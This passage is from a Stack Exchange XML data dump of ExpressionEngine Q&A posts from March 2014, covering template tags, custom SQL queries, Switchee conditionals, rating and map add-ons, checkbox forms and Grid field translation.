  <row Id="19867" PostTypeId="1" AcceptedAnswerId="19869" CreationDate="2014-03-01T12:18:11.053" Score="0" ViewCount="312" Body="&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;my query&quot;}&#xA;&#xA;{/exp:query}.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine.But I want to give a category condition to it.When I do it,it does not flter the data accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:entrie:channel category=&quot;2&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user2133" LastActivityDate="2014-03-01T15:56:43.343" Title="how to put a category condition with exp:query?" Tags="|ee2|conditionals|query|categories|advanced-conditionals|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19869" PostTypeId="2" ParentId="19867" CreationDate="2014-03-01T15:56:43.343" Score="0" Body="&lt;p&gt;With &lt;code&gt;{exp:query}&lt;/code&gt; you'll need to spell things out. The actual query, will be dependent on what other data you are pulling via the custom query, but generally speaking, you'd want to also match the category id, &lt;code&gt;{cat_id}&lt;/code&gt; to an &lt;code&gt;{entry_id}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I wanted to return just 10 random titles from the 'office supplies' category. I'd first look up the category id for 'office supplies' and 'desks'  and learn that that the ids are 20, and 120.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query &quot;SELECT t.title, t.entry_date, p.cat_id FROM exp_channel_titles t LEFT JOIN exp_category_posts p ON t.entry_id = p.entry_id WHERE p.cat_id IN(20, 120)&quot;}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes that the original query is fairly simple, and you're just limiting the results. But if you need to display the actual category name or already have a fairly complex query, then you'll need to or want to adjust which tables you join first, and how, you may even need a subquery. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the basics of the query will hit the &lt;code&gt;exp_category_posts&lt;/code&gt; table, since that's the table that joins relates an entry_id to a category_id.  Category names are stored in the &lt;code&gt;exp_categories&lt;/code&gt; table, etc.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2014-03-01T15:56:43.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19870" PostTypeId="2" ParentId="19816" CreationDate="2014-03-01T17:08:50.757" Score="0" Body="&lt;p&gt;I spoke to the makers of the plugin and they confirmed that this is not currently possible and have logged it as a feature request.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-03-01T17:08:50.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19871" PostTypeId="1" AcceptedAnswerId="20045" CreationDate="2014-03-01T19:36:41.897" Score="2" ViewCount="305" Body="&lt;p&gt;Not receiving emails from Exp:resso Store 1.65 when order completed. Nether order conformation to the buyer or the notification to the store manager are generating, you can see the order when I login. It seemed to start when I migrated the site to hosting on nexcess.net. Any ideas, lost.  &lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2014-03-06T15:57:52.357" Title="Exp:resso Store not sending email order confirmation" Tags="|expresso-store|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19872" PostTypeId="1" AcceptedAnswerId="19918" CreationDate="2014-03-01T22:45:30.887" Score="2" ViewCount="898" Body="&lt;p&gt;I just upgraded to EE 2.8. I know it's brand new, but I'm already having an issue that I can't seem to fix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the publish page, and when adding a field to a field group, I see the following error in the developer log:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Uncaught TypeError: Object 132 has no method 'replace'&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;JS features don't seem to work on the publish pages, and when I try to add a custom field to a field group, I can't customize any fields. No matther which field I choose, I just get the name and description options, but no ability to customize the actual field properties. For instance, if I choose relationship field type, I don't get the ability to customize the relationship settings. It just doesn't even show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if an installed module is conflicting, but I'm not quite sure how to find it. Anyone else having an issue with 2.8 like this?&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-03-03T22:06:28.650" Title="Javascript error EE 2.8: Uncaught TypeError: Object 132 has no method 'replace'" Tags="|custom-fields|javascript|ee2-upgrades|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19873" PostTypeId="1" CreationDate="2014-03-01T23:15:20.977" Score="1" ViewCount="83" Body="&lt;p&gt;Is there a plugin, technique, or combination of plugins/techniques that will allow me to do the following?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My channels are like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent: Product&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Children: Colour, Size, Style, etc.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A search form with user-selectable fields such as these (or indeed hard-coded navigation menu links) - some of the fields are relationship fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Product&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Colour&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Size&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Style&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Min Price&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Max Price&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stock status&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;..which would presumably result in a string such as ?size=M&amp;amp;min-price=100&amp;amp;stock-status=Y (or perhaps /medium/100/Y)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And then a results page with logic such as this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if &lt;/p&gt;&#xA;&#xA;&lt;p&gt;product=&quot;product&quot; AND product_colour=&quot;colour&quot; AND product_size=&quot;size&quot; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/if}&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, apparently I would need the conditional to parse early, as I'm displaying the resultant data in a grid that depends on a Switch tag to add closing divs to rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be v grateful for any pointers, however general they may be.&lt;/p&gt;&#xA;" OwnerUserId="2759" LastActivityDate="2014-03-03T07:55:33.503" Title="How to pass variables and then display the results?" Tags="|variable|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19874" PostTypeId="2" ParentId="19872" CreationDate="2014-03-01T23:42:01.693" Score="3" Body="&lt;p&gt;For my specific case, it appears to be addons such as Matrix and Assets by Pixel &amp;amp; Tonic that are causing this. By uninstalling the addons I was able to get rid of this error.&lt;/p&gt;&#xA;" OwnerUserId="962" LastEditorUserId="962" LastEditDate="2014-03-03T18:46:44.310" LastActivityDate="2014-03-03T18:46:44.310" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19875" PostTypeId="2" ParentId="19873" CreationDate="2014-03-02T01:32:44.917" Score="1" Body="&lt;p&gt;Try the &lt;a href=&quot;https://github.com/croxton/Wires&quot; rel=&quot;nofollow&quot;&gt;Wires&lt;/a&gt; addon. Mark, who created switchee and ifelse, is yet writing the docs and improving the code, but, by my tests, it's stable.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-03-02T01:32:44.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19876" PostTypeId="2" ParentId="1918" CreationDate="2014-03-02T09:36:22.777" Score="1" Body="&lt;p&gt;You need to put classes into &quot;library&quot; files (as opposed to &quot;code&quot; files) and always do require_once or include_once on them. Once you separate code from libraries, the next logical step is to switch to using autoloader mechanism of PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not possible, then put wrapper around the classes you are loading:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (class_exists('headings_rte') != true) {   &#xA;    class headings_rte { ... }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ah, and never mix autoloading with explicit require_once - this is recipe for trouble.&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="2801" LastEditDate="2014-03-03T10:38:00.223" LastActivityDate="2014-03-03T10:38:00.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19877" PostTypeId="1" AcceptedAnswerId="19886" CreationDate="2014-03-02T13:30:26.870" Score="0" ViewCount="218" Body="&lt;p&gt;I do not understand why the examples in the manual not work. Here in the forum I do not see the ricgt code as well. I feel stupid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a field, defined as checkboxes, values populated by other field. (I do not know how many values my client fills in there)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, how do I code this in my form?&#xA;In the form, when coding {MYFIELDNAME} it just puts out all the values, no checkboxes there.&#xA;This code does not work either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options:MYFIELDNAME}&#xA;&amp;lt;label class=&quot;checkbox&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; id=&quot;{MYFIELDNAME}&quot; name=&quot;{MYFIELDNAME}[]&quot; value=&quot;{option_value}&quot;{checked}&amp;gt; {option_value}&#xA;&amp;lt;/label&amp;gt;&#xA;{/options:MYFIELDNAME} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="96" LastEditDate="2014-03-02T22:14:17.563" LastActivityDate="2014-03-02T22:14:17.563" Title="feel stupid, but, how code checkbox in form?" Tags="|cartthrob|checkbox|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19878" PostTypeId="1" AcceptedAnswerId="19883" CreationDate="2014-03-02T15:06:18.023" Score="0" ViewCount="50" Body="&lt;p&gt;I need some help, about Solspace Rating,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the entry named &lt;strong&gt;hamburger&lt;/strong&gt; was rated 20 times,  there are 20 &lt;strong&gt;Entry's Rating&lt;/strong&gt; with the &lt;strong&gt;hamburger&lt;/strong&gt; name, in the Rating's Control Panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I Using this code, the 20 &lt;strong&gt;Entry's Rating&lt;/strong&gt; of the Hamburger &lt;strong&gt;Rated entries&lt;/strong&gt; are displayed on 20 lines. How to display only one line, and not all the entries, where appear the average note of all the hamburger &lt;strong&gt;Entry's Rating&lt;/strong&gt; and of the other ones?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:entries}&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                {exp:rating:stats entry_id=&quot;{entry_id}&quot;}&#xA;                     {stars_avg_rating}&#xA;                {/exp:rating:stats}&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;{/exp:rating:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this code, appear the average's notes of the &lt;strong&gt;Rated entries&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;receitas&quot;}&#xA;    {exp:rating:entries limit=&quot;1&quot; }&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    {exp:rating:stats entry_id=&quot;{entry_id}&quot;}&#xA;                         {title}{stars_avg_rating}&#xA;                    {/exp:rating:stats}&#xA;                &amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;    {/exp:rating:entries}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does exist a more direct method than parsing &lt;strong&gt;exp:rating:entries&lt;/strong&gt; inside &lt;strong&gt;exp:channel:entries&lt;/strong&gt; ??&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="1918" LastEditDate="2014-03-02T17:35:37.633" LastActivityDate="2014-03-02T20:41:14.380" Title="Problems to display average rating with Solspace Rating" Tags="|solspace-rating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19879" PostTypeId="1" AcceptedAnswerId="19881" CreationDate="2014-03-02T15:28:03.867" Score="1" ViewCount="100" Body="&lt;p&gt;Sorry but I'm unable to use switchee.. how can i set AND conditionals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my original code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--The Categories Page ////////////--&amp;gt;&#xA;{if segment_2==&quot;&quot; AND segment_3==&quot;&quot;}&#xA;{embed=&quot;travels/travels&quot;}&#xA;&#xA;&amp;lt;!--The Category Entries Page //////--&amp;gt;&#xA;{if:elseif segment_2!=&quot;&quot; AND segment_3==&quot;&quot;}&#xA;{embed=&quot;travels/trip&quot;}&#xA;&#xA;&amp;lt;!--The Single Entry ///////////////--&amp;gt;&#xA;{if:elseif segment_3!=&quot;&quot;}&#xA;{embed=&quot;travels/trip&quot;}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="2590" LastEditorUserId="343" LastEditDate="2014-03-02T23:10:58.640" LastActivityDate="2014-03-04T02:29:45.937" Title="How can i set AND conditionals on Switchee?" Tags="|switchee|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19880" PostTypeId="1" CreationDate="2014-03-02T15:48:21.220" Score="0" ViewCount="122" Body="&lt;p&gt;This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmaps:init} &#xA;&#xA;&#xA;{exp:gmaps:geocoding width='100%' height='100%' marker='yes' map_types='roadmap|terrain' map_type='Hybrid' scroll_wheel='yes' zoom_control='yes' pan_control='yes' map_type_control='no' scale_control='yes' street_view_control='yes' address_format='[city]' div_id='mymap'}&#xA;{address}&#xA;{exp:channel:entries channel='travels' disable='categories|member_data|pagination|trackbacks' dynamic='off' cache='yes' refresh='512640' orderby='date' sort='asc'}&#xA;{scheda_del_viaggio orderby='city' sort=&quot;asc&quot;}{city}|{/scheda_del_viaggio}&#xA;{/exp:channel:entries}&#xA;{/address}&#xA;{marker:html}&#xA;{exp:channel:entries channel='travels' disable='categories|member_data|pagination|trackbacks' dynamic='off' cache='yes' refresh='512640' orderby='date' sort='asc'}&#xA;{scheda_del_viaggio orderby='city' sort='asc'}&#xA;&amp;lt;h1 class=&quot;h3-like text-strong&quot;&amp;gt;[location]&amp;lt;/h1&amp;gt;&#xA;&amp;lt;a href=&quot;{title_permalink={segment_1}}&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;h3-like first-letter&quot;&amp;gt;{title} - {travel_check_in format=&quot;%d %F %Y&quot;}&amp;lt;/span&amp;gt;&#xA;&amp;lt;/a&amp;gt;|&#xA;{/scheda_del_viaggio}&#xA;{/exp:channel:entries}&#xA;{/marker:html}&#xA;{/exp:gmaps:geocoding}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I dont understand why I'm getting only one entry title for the channel 'travels' on my map..&lt;/p&gt;&#xA;" OwnerUserId="2590" LastEditorUserId="2590" LastEditDate="2014-03-03T08:21:10.380" LastActivityDate="2015-01-30T10:17:52.540" Title="Why i'm getting only one entry on Gmaps map?" Tags="|channel-entries|google-maps|title|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19881" PostTypeId="2" ParentId="19879" CreationDate="2014-03-02T18:37:51.333" Score="2" Body="&lt;p&gt;It's easy, actually. You can concatenate both segments. I used to use some RegEx for this, but I just got the idea to take advantage of the parsing order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}/{segment_3}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;/&quot;}&#xA;        {embed=&quot;travels/travels&quot;}&#xA;    {/case}&#xA;    {case value=&quot;{segment_2}/&quot;}&#xA;        {embed=&quot;travels/trip&quot;}&#xA;    {/case}&#xA;    {case value=&quot;{segment_2}/{segment_3}&quot;}&#xA;        {embed=&quot;travels/trip&quot;}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's no performance gain by using switchee on this case because the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;embeds are parsed after the advanced conditionals&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-03-04T02:29:45.937" LastActivityDate="2014-03-04T02:29:45.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19882" PostTypeId="2" ParentId="19363" CreationDate="2014-03-02T19:08:13.873" Score="1" Body="&lt;p&gt;Preface: this is just an idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use Brian Litzinger's Publisher (&lt;a href=&quot;http://devot-ee.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/publisher&lt;/a&gt;) on &lt;code&gt;exp:channel:form&lt;/code&gt; to allow for grid translations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the headers and buttons you could possibly add the grid to the Channel Form, grab the rendered code and paste that into the template directly (rather than letting the field generate the HTML on the fly) and then use Publisher's language tags to translate headers and buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, I might make a Channel Form and tell it to render the grid. Looking at the code I will see that it generates...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table id=&quot;testing&quot; class=&quot;grid_field_container&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td class=&quot;grid_field_container_cell&quot;&amp;gt;&#xA;        &amp;lt;table class=&quot;grid_field&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&amp;gt;&#xA;            &amp;lt;thead&amp;gt;&#xA;                &amp;lt;th class=&quot;grid_handle&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;0%&quot;&amp;gt;&amp;lt;b&amp;gt;Column 1&amp;lt;/b&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;0%&quot;&amp;gt;&amp;lt;b&amp;gt;Column 2&amp;lt;/b&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;/thead&amp;gt;&#xA;            &amp;lt;tbody class=&quot;grid_row_container&quot;&amp;gt;&#xA;                &amp;lt;tr class=&quot;grid_row blank_row&quot;&amp;gt;&#xA;                    &amp;lt;td class=&quot;grid_handle&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td width=&quot;0%&quot; data-fieldtype=&quot;text&quot; data-column-id=&quot;1&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;grid_cell&quot;&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;testing[rows][new_row_0][col_id_1]&quot; value=&quot;&quot; dir=&quot;ltr&quot; field_content_type=&quot;all&quot; maxlength=&quot;256&quot;  /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td width=&quot;0%&quot; data-fieldtype=&quot;text&quot; data-column-id=&quot;2&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;grid_cell&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;#&quot; class=&quot;grid_button_delete&quot; tabindex=&quot;-1&quot; title=&quot;Delete Row&quot;&amp;gt;Delete Row&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;testing[rows][new_row_0][col_id_2]&quot; value=&quot;&quot; dir=&quot;ltr&quot; field_content_type=&quot;all&quot; maxlength=&quot;256&quot;  /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr class=&quot;empty_field&quot;&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;3&quot; class=&quot;empty_field first&quot;&amp;gt;You have not added any rows of data yet. &amp;lt;a href=&quot;#&quot; class=&quot;grid_link_add&quot;&amp;gt;Add some data?&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td class=&quot;grid_delete_row_gutter&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        &amp;lt;a class=&quot;grid_button_add&quot; href=&quot;#&quot; title=&quot;Add Row&quot;&amp;gt;Add Row&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well you could now change that to use Publisher &quot;Phrases&quot; (&lt;a href=&quot;https://boldminded.com/add-ons/publisher/phrases&quot; rel=&quot;nofollow&quot;&gt;https://boldminded.com/add-ons/publisher/phrases&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table id=&quot;testing&quot; class=&quot;grid_field_container&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td class=&quot;grid_field_container_cell&quot;&amp;gt;&#xA;        &amp;lt;table class=&quot;grid_field&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&amp;gt;&#xA;            &amp;lt;thead&amp;gt;&#xA;                &amp;lt;th class=&quot;grid_handle&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;0%&quot;&amp;gt;&amp;lt;b&amp;gt;{phrase:form_col1}&amp;lt;/b&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;0%&quot;&amp;gt;&amp;lt;b&amp;gt;{phrase:form_col1}&amp;lt;/b&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;/thead&amp;gt;&#xA;            &amp;lt;tbody class=&quot;grid_row_container&quot;&amp;gt;&#xA;                &amp;lt;tr class=&quot;grid_row blank_row&quot;&amp;gt;&#xA;                    &amp;lt;td class=&quot;grid_handle&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td width=&quot;0%&quot; data-fieldtype=&quot;text&quot; data-column-id=&quot;1&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;grid_cell&quot;&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;testing[rows][new_row_0][col_id_1]&quot; value=&quot;&quot; dir=&quot;ltr&quot; field_content_type=&quot;all&quot; maxlength=&quot;256&quot;  /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td width=&quot;0%&quot; data-fieldtype=&quot;text&quot; data-column-id=&quot;2&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;grid_cell&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;#&quot; class=&quot;grid_button_delete&quot; tabindex=&quot;-1&quot; title=&quot;Delete Row&quot;&amp;gt;{phrase:form_delete}&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;testing[rows][new_row_0][col_id_2]&quot; value=&quot;&quot; dir=&quot;ltr&quot; field_content_type=&quot;all&quot; maxlength=&quot;256&quot;  /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr class=&quot;empty_field&quot;&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;3&quot; class=&quot;empty_field first&quot;&amp;gt;{phrase:form_no-rows} &amp;lt;a href=&quot;#&quot; class=&quot;grid_link_add&quot;&amp;gt;{phrase:form_add-data}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td class=&quot;grid_delete_row_gutter&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        &amp;lt;a class=&quot;grid_button_add&quot; href=&quot;#&quot; title=&quot;Add Row&quot;&amp;gt;{phrase:form_add-row}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would then just set those phrases in your Publisher's control panel and it should do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bare in mind: this is a bit of a hacky solution, and if Grid's markup changes you'll have to rinse and repeat.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-02T19:08:13.873" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="19883" PostTypeId="2" ParentId="19878" CreationDate="2014-03-02T19:17:02.723" Score="0" Body="&lt;p&gt;I think you can do it like this:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:entries channel=&quot;receitas&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            {exp:rating:stats entry_id=&quot;{entry_id}&quot;}&#xA;                {title} - {stars_overall_avg}&#xA;            {/exp:rating:stats}&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-02T19:17:02.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19884" PostTypeId="2" ParentId="19877" CreationDate="2014-03-02T19:28:08.020" Score="1" Body="&lt;p&gt;Don't feel stupid! You were very close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing you need to change is the &lt;code&gt;ID&lt;/code&gt; and &lt;code&gt;name&lt;/code&gt; attributes don't need the &lt;code&gt;{}&lt;/code&gt;'s around them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should work if you make it...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options:MYFIELDNAME}&#xA;    &amp;lt;label class=&quot;checkbox&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; id=&quot;MYFIELDNAME&quot; name=&quot;MYFIELDNAME[]&quot; value=&quot;{option_value}&quot;{checked}&amp;gt; {option_value}&#xA;    &amp;lt;/label&amp;gt;&#xA;{/options:MYFIELDNAME} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-02T19:28:08.020" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19885" PostTypeId="2" ParentId="19878" CreationDate="2014-03-02T20:41:14.380" Score="0" Body="&lt;p&gt;Andrew,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem was independent about the &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; position , all the Rating's entries was displaying. I found a better solution than to parse inside &lt;strong&gt;exp:channel&lt;/strong&gt; in this case: using &lt;strong&gt;{exp:rating:rank}&lt;/strong&gt; instead &lt;strong&gt;{exp:rating:entries}&lt;/strong&gt;, no need more exp:channel:entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:rating:rank}&#xA;        {exp:rating:stats entry_id=&quot;{entry_id}&quot;}&#xA;               &amp;lt;li&amp;gt;&#xA;                    {exp:rating:stats entry_id=&quot;{entry_id}&quot;}&#xA;                         {title}{stars_avg_rating}&#xA;                    {/exp:rating:stats}&#xA;                &amp;lt;/li&amp;gt;&#xA;                {/exp:rating:stats}&#xA;{/exp:rating:rank}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" 